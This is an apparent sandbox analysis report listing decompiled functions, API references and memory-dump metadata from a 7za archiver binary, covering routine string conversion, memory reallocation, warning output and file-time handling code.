WideCharToMultiByte.KERNEL32(?,00000000,?,00000004,00000003,00000001,?,00000000,59@,00000003,?,00000000,00407F1C,00000000), ref: 004081D3
__CxxThrowException@8.LIBC ref: 004081F9

Part of subcall function 0046B8F4: RaiseException.KERNEL32(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Strings

59@, xrefs: 004081A9

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0040867E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64

C-Code - Quality: 74%

			E0040867E(void* __ecx, signed int _a4) {
				void* _t20;
				void* _t23;
				signed int _t33;
				signed int _t36;
				signed int _t43;
				intOrPtr _t44;
				void* _t45;

				_t33 = _a4;
				_t45 = __ecx;
				if(_t33 !=  *((intOrPtr*)(__ecx + 4))) {
					if(_t33 >= 0x80000000) {
						_a4 = 0x100ec1;
						E0046B8F4( &_a4, 0x47e128);
					}
					_t43 =  *(_t45 + 0x10);
					_t36 = _t43 * _t33;
					if(_t36 / _t43 != _t33) {
						_a4 = 0x100ec2;
						E0046B8F4( &_a4, 0x47e128);
					}
					_t44 = 0;
					if(_t36 > 0) {
						_push(_t36);
						_t44 = E004079F2();
						if(_t44 == 0) {
							_a4 = 0x100ec3;
							E0046B8F4( &_a4, 0x47e128);
						}
						_t25 =  *(_t45 + 8);
						if( *(_t45 + 8) >= _t33) {
							_t25 = _t33;
						}
						E0046C5C0(_t44,  *((intOrPtr*)(_t45 + 0xc)),  *(_t45 + 0x10) * _t25);
					}
					_t23 = E00407A18( *((intOrPtr*)(_t45 + 0xc)));
					 *((intOrPtr*)(_t45 + 0xc)) = _t44;
					 *(_t45 + 4) = _t33;
					return _t23;
				}
				return _t20;
			}

0x00408682
0x00408686
0x0040868c
0x00408698
0x004086a3
0x004086aa
0x004086aa
0x004086af
0x004086b6
0x004086bf
0x004086ca
0x004086d1
0x004086d1
0x004086d6
0x004086da
0x004086dc
0x004086e2
0x004086e7
0x004086f2
0x004086f9
0x004086f9
0x004086fe
0x00408703
0x00408705
0x00408705
0x00408712
0x00408717
0x0040871d
0x00408723
0x00408726
0x00000000
0x00408726
0x0040872d

APIs

__CxxThrowException@8.LIBC ref: 004086AA
__CxxThrowException@8.LIBC ref: 004086D1

Part of subcall function 004079F2: __CxxThrowException@8.LIBC ref: 00407A11

__CxxThrowException@8.LIBC ref: 004086F9

Part of subcall function 0046B8F4: RaiseException.KERNEL32(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Strings

59@, xrefs: 00408688

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00410BDC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63

C-Code - Quality: 95%

			E00410BDC(intOrPtr __ecx, void* __edx, void* __eflags) {
				void* __esi;
				void* _t34;
				intOrPtr _t37;
				intOrPtr _t40;
				void* _t44;
				signed int _t60;
				void* _t62;

				E0046B890(E004741C8, _t62);
				_t60 = 0;
				_t44 = __edx;
				 *((intOrPtr*)(_t62 - 0x10)) = __ecx;
				 *((intOrPtr*)(_t62 - 0x20)) = 0;
				 *((intOrPtr*)(_t62 - 0x1c)) = 0;
				 *((intOrPtr*)(_t62 - 0x18)) = 0;
				 *((intOrPtr*)(_t62 - 0x14)) = 4;
				 *((intOrPtr*)(_t62 - 0x24)) = 0x47a420;
				 *(_t62 - 4) = 0;
				if(E0040B4D0(__edx, __edx, __eflags) == 0) {
					_t40 =  *0x48ba20; // 0x48bb64
					 *((intOrPtr*)(_t62 + 0x10)) = _t40;
					E0046B8F4(_t62 + 0x10, 0x47d358);
				}
				_push( *((intOrPtr*)(_t62 + 0x10)));
				if(E00407783(_t44, _t62 - 0x24, _t60) == 0) {
					_t37 =  *0x48ba24; // 0x48bb20
					 *((intOrPtr*)(_t62 + 0x10)) = _t37;
					E0046B8F4(_t62 + 0x10, 0x47d358);
				}
				if( *((intOrPtr*)(_t62 - 0x1c)) > _t60) {
					do {
						E00410AC9( *((intOrPtr*)(_t62 - 0x10)),  *((intOrPtr*)( *((intOrPtr*)(_t62 - 0x18)) + _t60 * 4)),  *((intOrPtr*)(_t62 + 8)),  *((intOrPtr*)(_t62 + 0xc)));
						_t60 = _t60 + 1;
					} while (_t60 <  *((intOrPtr*)(_t62 - 0x1c)));
				}
				 *((intOrPtr*)(_t62 - 0x24)) = 0x47a420;
				 *(_t62 - 4) = 1;
				E0040862D();
				 *(_t62 - 4) =  *(_t62 - 4) | 0xffffffff;
				_t34 = E00408604(_t62 - 0x24);
				 *[fs:0x0] =  *((intOrPtr*)(_t62 - 0xc));
				return _t34;
			}

0x00410be1
0x00410bec
0x00410bf3
0x00410bf5
0x00410bf8
0x00410bfb
0x00410bfe
0x00410c01
0x00410c08
0x00410c0d
0x00410c17
0x00410c19
0x00410c23
0x00410c2a
0x00410c2a
0x00410c2f
0x00410c3e
0x00410c40
0x00410c4a
0x00410c51
0x00410c51
0x00410c59
0x00410c5b
0x00410c6a
0x00410c6f
0x00410c70
0x00410c5b
0x00410c75
0x00410c7b
0x00410c82
0x00410c87
0x00410c8e
0x00410c99
0x00410ca1

APIs

__EH_prolog.LIBCMT ref: 00410BE1

Part of subcall function 0040B4D0: __EH_prolog.LIBCMT ref: 0040B4D5

__CxxThrowException@8.LIBC ref: 00410C2A

Part of subcall function 00407783: __EH_prolog.LIBCMT ref: 00407788

__CxxThrowException@8.LIBC ref: 00410C51

Part of subcall function 0046B8F4: RaiseException.KERNEL32(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Strings

59@, xrefs: 00410BEE

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 004080C7, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60

C-Code - Quality: 100%

			E004080C7(intOrPtr __ecx, char** __edx, void* __eflags) {
				signed int _t33;
				intOrPtr _t48;
				char** _t52;
				void* _t55;

				E0046B890(E00473804, _t55);
				 *((intOrPtr*)(_t55 - 0x10)) = __ecx;
				_t52 = __edx;
				 *((intOrPtr*)(_t55 - 0x14)) = 0;
				 *(_t55 - 0x20) = 0;
				 *(_t55 - 0x1c) = 0;
				 *((intOrPtr*)(_t55 - 0x18)) = 0;
				E00401E9A(_t55 - 0x20, 3);
				_t48 =  *((intOrPtr*)(__edx + 4));
				 *((intOrPtr*)(_t55 - 4)) = 0;
				if(_t48 != 0) {
					if(_t48 >=  *((intOrPtr*)(_t55 - 0x18))) {
						E00401E9A(_t55 - 0x20, _t48);
					}
					_t33 = MultiByteToWideChar( *(_t55 + 8), 0,  *_t52, _t52[1],  *(_t55 - 0x20), _t48 + 1);
					if(_t33 == 0) {
						 *(_t55 + 8) = 0x44e74;
						_t33 = E0046B8F4(_t55 + 8, 0x47e128);
					}
					( *(_t55 - 0x20))[_t33] = 0;
					 *(_t55 - 0x1c) = _t33;
				}
				E004039C0( *((intOrPtr*)(_t55 - 0x10)), _t55 - 0x20);
				E00407A18( *(_t55 - 0x20));
				 *[fs:0x0] =  *((intOrPtr*)(_t55 - 0xc));
				return  *((intOrPtr*)(_t55 - 0x10));
			}

0x004080cc
0x004080d6
0x004080dc
0x004080e3
0x004080e6
0x004080e9
0x004080ec
0x004080ef
0x004080f4
0x004080f7
0x004080fc
0x00408101
0x00408107
0x00408107
0x0040811c
0x00408124
0x0040812f
0x00408136
0x00408136
0x0040813e
0x00408142
0x00408142
0x0040814c
0x00408154
0x00408163
0x0040816b

APIs

__EH_prolog.LIBCMT ref: 004080CC
MultiByteToWideChar.KERNEL32(?,00000000,?,00000002,?,?,00000003,59@,?,00000000,?,?,?,?,00000000), ref: 0040811C
__CxxThrowException@8.LIBC ref: 00408136

Part of subcall function 0046B8F4: RaiseException.KERNEL32(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Strings

59@, xrefs: 004080D9

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 004065F1, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54

C-Code - Quality: 94%

			E004065F1(void* __ecx) {
				intOrPtr* _t29;
				void* _t32;
				void* _t47;
				void* _t53;

				E0046B890(E00473548, _t53);
				_t47 = __ecx;
				 *(_t53 - 0x10) = 0x490a88;
				EnterCriticalSection(0x490a88);
				 *(_t53 - 4) =  *(_t53 - 4) & 0x00000000;
				E00415C6D(_t47 + 0x60,  *((intOrPtr*)(_t53 + 0xc)));
				E00403532(_t53 - 0x1c,  *((intOrPtr*)(_t53 + 8)));
				_push(_t53 - 0x1c);
				 *(_t53 - 4) = 1;
				E00406796(_t47 + 0x4c);
				 *(_t53 - 4) =  *(_t53 - 4) & 0x00000000;
				E00407A18( *((intOrPtr*)(_t53 - 0x1c)));
				_t48 = _t47 + 8;
				E00406000(_t47 + 8);
				E004060BD(_t48);
				E0040608D(_t48, "WARNING: ");
				_t29 = E00404B09(_t53 - 0x1c,  *((intOrPtr*)(_t53 + 0xc)));
				 *(_t53 - 4) = 2;
				E004060A5(_t48,  *_t29);
				E00407A18( *((intOrPtr*)(_t53 - 0x1c)));
				LeaveCriticalSection(0x490a88);
				_t32 = 1;
				 *[fs:0x0] =  *((intOrPtr*)(_t53 - 0xc));
				return _t32;
			}

0x004065f6
0x00406605
0x00406608
0x0040660b
0x00406614
0x0040661b
0x00406626
0x00406631
0x00406632
0x00406636
0x0040663e
0x00406642
0x00406648
0x0040664d
0x00406654
0x00406660
0x0040666b
0x00406674
0x00406678
0x00406680
0x00406687
0x00406692
0x00406695
0x0040669d

APIs

__EH_prolog.LIBCMT ref: 004065F6
EnterCriticalSection.KERNEL32(00490A88), ref: 0040660B

Part of subcall function 00406796: __EH_prolog.LIBCMT ref: 0040679B

Part of subcall function 00404B09: __EH_prolog.LIBCMT ref: 00404B0E

LeaveCriticalSection.KERNEL32(00490A88,?,?,?), ref: 00406687

Strings

WARNING: , xrefs: 00406659

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00471F76, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44

APIs

InterlockedIncrement.KERNEL32(00496224), ref: 00471F9C
InterlockedDecrement.KERNEL32(00496224), ref: 00471FB1

Part of subcall function 0046E56A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,0046FF49,00000009,00000000,00000000,00000001,0046E3A8,00000001,00000074,?,?,00000000,00000001), ref: 0046E5A7
Part of subcall function 0046E56A: EnterCriticalSection.KERNEL32(?,?,?,0046FF49,00000009,00000000,00000000,00000001,0046E3A8,00000001,00000074,?,?,00000000,00000001), ref: 0046E5C2

InterlockedDecrement.KERNEL32(00496224), ref: 00471FDB

Part of subcall function 0046E5CB: LeaveCriticalSection.KERNEL32(?,0046C0D0,00000009,0046C0BC,00000000,?,00000000,00000000,00000000), ref: 0046E5D8

Strings

$bI, xrefs: 00471F95

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 004024CB, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43

C-Code - Quality: 75%

			E004024CB(short* __ecx) {
				char* _v8;
				struct _FILETIME _v16;
				char _v48;
				short* _t20;
				FILETIME* _t25;

				_t20 = __ecx;
				if( *__ecx != 0x40) {
					_t1 =  &_v8; // 0x402369
					_v8 = "incorrect item";
					E0046B8F4(_t1, 0x47cf70);
				}
				_t25 = _t20 + 8;
				if(E0040254B(_t25) != 0) {
					L7:
					_push( *0x48a5a8);
				} else {
					if(FileTimeToLocalFileTime(_t25,  &_v16) == 0) {
						_t5 =  &_v8; // 0x402369
						_v8 = "FileTimeToLocalFileTime error";
						E0046B8F4(_t5, 0x47cf70);
					}
					if(E0040C32D( &_v16,  &_v48, 1, 1) == 0) {
						goto L7;
					} else {
						_push( &_v48);
					}
				}
				return E00407CD5(0x490ab8);
			}

0x004024cb
0x004024d6
0x004024d8
0x004024e1
0x004024e8
0x004024e8
0x004024ed
0x004024f9
0x00402538
0x00402538
0x004024fb
0x00402508
0x0040250a
0x00402513
0x0040251a
0x0040251a
0x00402530
0x00000000
0x00402532
0x00402535
0x00402535
0x00402530
0x0040254a

APIs

__CxxThrowException@8.LIBC ref: 004024E8
FileTimeToLocalFileTime.KERNEL32(?,?,00490AB8,?,?,?,?,?,?,?,?,?,?,00402369), ref: 00402500
__CxxThrowException@8.LIBC ref: 0040251A

Part of subcall function 0046B8F4: RaiseException.KERNEL32(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Part of subcall function 0040C32D: FileTimeToSystemTime.KERNEL32(?,0040C446,?,0040C446,?,?), ref: 0040C33E

Strings

i#@, xrefs: 0040250A, 004024D8, 004024E0, 00402512

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00470DBD, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39

C-Code - Quality: 16%

			E00470DBD(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _t19;

				InterlockedIncrement(0x496224);
				_t19 =  *0x496220; // 0x0
				if(_t19 != 0) {
					InterlockedDecrement(0x496224);
					E0046E56A(0x13);
					_push(1);
					_pop(0);
				}
				_a8 = E00470E16(_a4, _a8);
				if(0 == 0) {
					InterlockedDecrement(0x496224);
				} else {
					E0046E5CB(0x13);
				}
				return _a8;
			}

0x00470dc9
0x00470dd7
0x00470ddd
0x00470de0
0x00470de4
0x00470dea
0x00470dec
0x00470dec
0x00470df9
0x00470dff
0x00470e0c
0x00470e01
0x00470e03
0x00470e08
0x00470e15

APIs

InterlockedIncrement.KERNEL32(00496224), ref: 00470DC9
InterlockedDecrement.KERNEL32(00496224), ref: 00470DE0

Part of subcall function 0046E56A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,0046FF49,00000009,00000000,00000000,00000001,0046E3A8,00000001,00000074,?,?,00000000,00000001), ref: 0046E5A7
Part of subcall function 0046E56A: EnterCriticalSection.KERNEL32(?,?,?,0046FF49,00000009,00000000,00000000,00000001,0046E3A8,00000001,00000074,?,?,00000000,00000001), ref: 0046E5C2

Part of subcall function 00470E16: WideCharToMultiByte.KERNEL32(00000220,0046D948,00000001,00000000,00000000,00000000,?,00470DF8,00000000,0046D948,?,0046D948), ref: 00470E5F

InterlockedDecrement.KERNEL32(00496224), ref: 00470E0C

Part of subcall function 0046E5CB: LeaveCriticalSection.KERNEL32(?,0046C0D0,00000009,0046C0BC,00000000,?,00000000,00000000,00000000), ref: 0046E5D8

Strings

$bI, xrefs: 00470DC2

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00458600, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15

C-Code - Quality: 58%

			E00458600() {
				signed int _t4;

				_t4 = GetProcAddress(GetModuleHandleA("kernel32.dll"), "GetLargePageMinimum");
				if(_t4 != 0) {
					_t4 =  *_t4();
					if(_t4 != 0) {
						_t1 = _t4 - 1; // -1
						if((_t4 & _t1) == 0) {
							 *0x491560 = _t4;
							return _t4;
						}
					}
				}
				return _t4;
			}

0x00458611
0x00458619
0x0045861b
0x0045861f
0x00458621
0x00458626
0x00458628
0x00000000
0x00458628
0x00458626
0x0045861f
0x0045862d

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetLargePageMinimum,00403B70,?,?,00000000,00000001,00000000), ref: 0045860A
GetProcAddress.KERNEL32(00000000), ref: 00458611

Strings

kernel32.dll, xrefs: 00458605
GetLargePageMinimum, xrefs: 00458600

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0046C94A, Relevance: 6.5, APIs: 5, Instructions: 278

C-Code - Quality: 68%

			E0046C94A(void* _a4, long _a8) {
				signed int _v8;
				intOrPtr _v20;
				long _v36;
				void* _v40;
				intOrPtr _v44;
				char _v48;
				long _v52;
				long _v56;
				char _v60;
				intOrPtr _t56;
				void* _t57;
				long _t58;
				long _t59;
				long _t63;
				long _t66;
				long _t68;
				long _t71;
				long _t72;
				long _t74;
				long _t78;
				intOrPtr _t80;
				void* _t83;
				long _t85;
				long _t88;
				void* _t89;
				long _t91;
				intOrPtr _t93;
				void* _t97;
				void* _t104;
				long _t113;
				long _t116;
				intOrPtr _t122;
				void* _t123;

				_push(0xffffffff);
				_push(0x47c878);
				_push(E0046CE74);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t122;
				_t123 = _t122 - 0x28;
				_t97 = _a4;
				_t113 = 0;
				if(_t97 != 0) {
					_t116 = _a8;
					__eflags = _t116;
					if(_t116 != 0) {
						_t56 =  *0x496584; // 0x1
						__eflags = _t56 - 3;
						if(_t56 != 3) {
							__eflags = _t56 - 2;
							if(_t56 != 2) {
								while(1) {
									_t57 = 0;
									__eflags = _t116 - 0xffffffe0;
									if(_t116 <= 0xffffffe0) {
										__eflags = _t116 - _t113;
										if(_t116 == _t113) {
											_t116 = 1;
										}
										_t116 = _t116 + 0x0000000f & 0xfffffff0;
										__eflags = _t116;
										_t57 = HeapReAlloc( *0x496580, _t113, _t97, _t116);
									}
									__eflags = _t57 - _t113;
									if(_t57 != _t113) {
										goto L64;
									}
									__eflags =  *0x493730 - _t113; // 0x0
									if(__eflags == 0) {
										goto L64;
									}
									_t58 = E0046E8D6(_t116);
									__eflags = _t58;
									if(_t58 != 0) {
										continue;
									}
									goto L63;
								}
								goto L64;
							}
							__eflags = _t116 - 0xffffffe0;
							if(_t116 <= 0xffffffe0) {
								__eflags = _t116;
								if(_t116 <= 0) {
									_t116 = 0x10;
								} else {
									_t116 = _t116 + 0x0000000f & 0xfffffff0;
								}
								_a8 = _t116;
							}
							while(1) {
								_v40 = _t113;
								__eflags = _t116 - 0xffffffe0;
								if(_t116 <= 0xffffffe0) {
									E0046E56A(9);
									_pop(_t104);
									_v8 = 1;
									_t63 = E0046F866(_t97,  &_v60,  &_v48);
									_t123 = _t123 + 0xc;
									_t113 = _t63;
									_v52 = _t113;
									__eflags = _t113;
									if(_t113 == 0) {
										_v40 = HeapReAlloc( *0x496580, 0, _t97, _t116);
									} else {
										__eflags = _t116 -  *0x49015c; // 0x1e0
										if(__eflags < 0) {
											_t100 = _t116 >> 4;
											_t71 = E0046FC2E(_t104, _v60, _v48, _t113, _t116 >> 4);
											_t123 = _t123 + 0x10;
											__eflags = _t71;
											if(_t71 == 0) {
												_t72 = E0046F902(_t104, _t100);
												_v40 = _t72;
												__eflags = _t72;
												if(_t72 != 0) {
													_t74 = ( *_t113 & 0x000000ff) << 4;
													_v56 = _t74;
													__eflags = _t74 - _t116;
													if(_t74 >= _t116) {
														_t74 = _t116;
													}
													E0046C5C0(_v40, _a4, _t74);
													E0046F8BD(_v60, _v48, _t113);
													_t123 = _t123 + 0x18;
												}
											} else {
												_v40 = _a4;
											}
											_t97 = _a4;
										}
										__eflags = _v40;
										if(_v40 == 0) {
											_t66 = HeapAlloc( *0x496580, 0, _t116);
											_v40 = _t66;
											__eflags = _t66;
											if(_t66 != 0) {
												_t68 = ( *_t113 & 0x000000ff) << 4;
												_v56 = _t68;
												__eflags = _t68 - _t116;
												if(_t68 >= _t116) {
													_t68 = _t116;
												}
												E0046C5C0(_v40, _t97, _t68);
												E0046F8BD(_v60, _v48, _t113);
												_t123 = _t123 + 0x18;
											}
										}
									}
									_t51 =  &_v8;
									 *_t51 = _v8 | 0xffffffff;
									__eflags =  *_t51;
									E0046CC23();
								}
								_t57 = _v40;
								__eflags = _t57 - _t113;
								if(_t57 != _t113) {
									goto L64;
								}
								__eflags =  *0x493730 - _t113; // 0x0
								if(__eflags == 0) {
									goto L64;
								}
								_t59 = E0046E8D6(_t116);
								__eflags = _t59;
								if(_t59 != 0) {
									continue;
								}
								goto L63;
							}
							goto L64;
						} else {
							goto L5;
						}
						do {
							L5:
							_v40 = _t113;
							__eflags = _t116 - 0xffffffe0;
							if(_t116 > 0xffffffe0) {
								L25:
								_t57 = _v40;
								__eflags = _t57 - _t113;
								if(_t57 != _t113) {
									goto L64;
								}
								__eflags =  *0x493730 - _t113; // 0x0
								if(__eflags == 0) {
									goto L64;
								}
								goto L27;
							}
							E0046E56A(9);
							_v8 = _t113;
							_t80 = E0046EB0B(_t97);
							_v44 = _t80;
							__eflags = _t80 - _t113;
							if(_t80 == _t113) {
								L21:
								_v8 = _v8 | 0xffffffff;
								E0046CAD5();
								__eflags = _v44 - _t113;
								if(_v44 == _t113) {
									__eflags = _t116 - _t113;
									if(_t116 == _t113) {
										_t116 = 1;
									}
									_t116 = _t116 + 0x0000000f & 0xfffffff0;
									__eflags = _t116;
									_a8 = _t116;
									_v40 = HeapReAlloc( *0x496580, _t113, _t97, _t116);
								}
								goto L25;
							}
							__eflags = _t116 -  *0x49657c; // 0x0
							if(__eflags <= 0) {
								_push(_t116);
								_push(_t97);
								_push(_t80);
								_t88 = E0046F314();
								_t123 = _t123 + 0xc;
								__eflags = _t88;
								if(_t88 == 0) {
									_push(_t116);
									_t89 = E0046EE5F();
									_v40 = _t89;
									__eflags = _t89 - _t113;
									if(_t89 != _t113) {
										_t91 =  *((intOrPtr*)(_t97 - 4)) - 1;
										_v36 = _t91;
										__eflags = _t91 - _t116;
										if(_t91 >= _t116) {
											_t91 = _t116;
										}
										E0046C5C0(_v40, _t97, _t91);
										_t93 = E0046EB0B(_t97);
										_v44 = _t93;
										_push(_t97);
										_push(_t93);
										E0046EB36();
										_t123 = _t123 + 0x18;
									}
								} else {
									_v40 = _t97;
								}
							}
							__eflags = _v40 - _t113;
							if(_v40 == _t113) {
								__eflags = _t116 - _t113;
								if(_t116 == _t113) {
									_t116 = 1;
									_a8 = _t116;
								}
								_t116 = _t116 + 0x0000000f & 0xfffffff0;
								_a8 = _t116;
								_t83 = HeapAlloc( *0x496580, _t113, _t116);
								_v40 = _t83;
								__eflags = _t83 - _t113;
								if(_t83 != _t113) {
									_t85 =  *((intOrPtr*)(_t97 - 4)) - 1;
									_v36 = _t85;
									__eflags = _t85 - _t116;
									if(_t85 >= _t116) {
										_t85 = _t116;
									}
									E0046C5C0(_v40, _t97, _t85);
									_push(_t97);
									_push(_v44);
									E0046EB36();
									_t123 = _t123 + 0x14;
								}
							}
							goto L21;
							L27:
							_t78 = E0046E8D6(_t116);
							__eflags = _t78;
						} while (_t78 != 0);
						goto L63;
					} else {
						E0046C0FF(_t97);
						L63:
						_t57 = 0;
						__eflags = 0;
						goto L64;
					}
				} else {
					_t57 = E0046BFC5(_a8);
					L64:
					 *[fs:0x0] = _v20;
					return _t57;
				}
			}

0x0046c94d
0x0046c94f
0x0046c954
0x0046c95f
0x0046c960
0x0046c967
0x0046c96d
0x0046c970
0x0046c974
0x0046c984
0x0046c987
0x0046c989
0x0046c997
0x0046c99c
0x0046c99f
0x0046cade
0x0046cae1
0x0046cc2e
0x0046cc2e
0x0046cc30
0x0046cc33
0x0046cc35
0x0046cc37
0x0046cc3b
0x0046cc3b
0x0046cc3f
0x0046cc3f
0x0046cc4b
0x0046cc4b
0x0046cc51
0x0046cc53
0x00000000
0x00000000
0x0046cc55
0x0046cc5b
0x00000000
0x00000000
0x0046cc5e
0x0046cc64
0x0046cc66
0x00000000
0x00000000
0x00000000
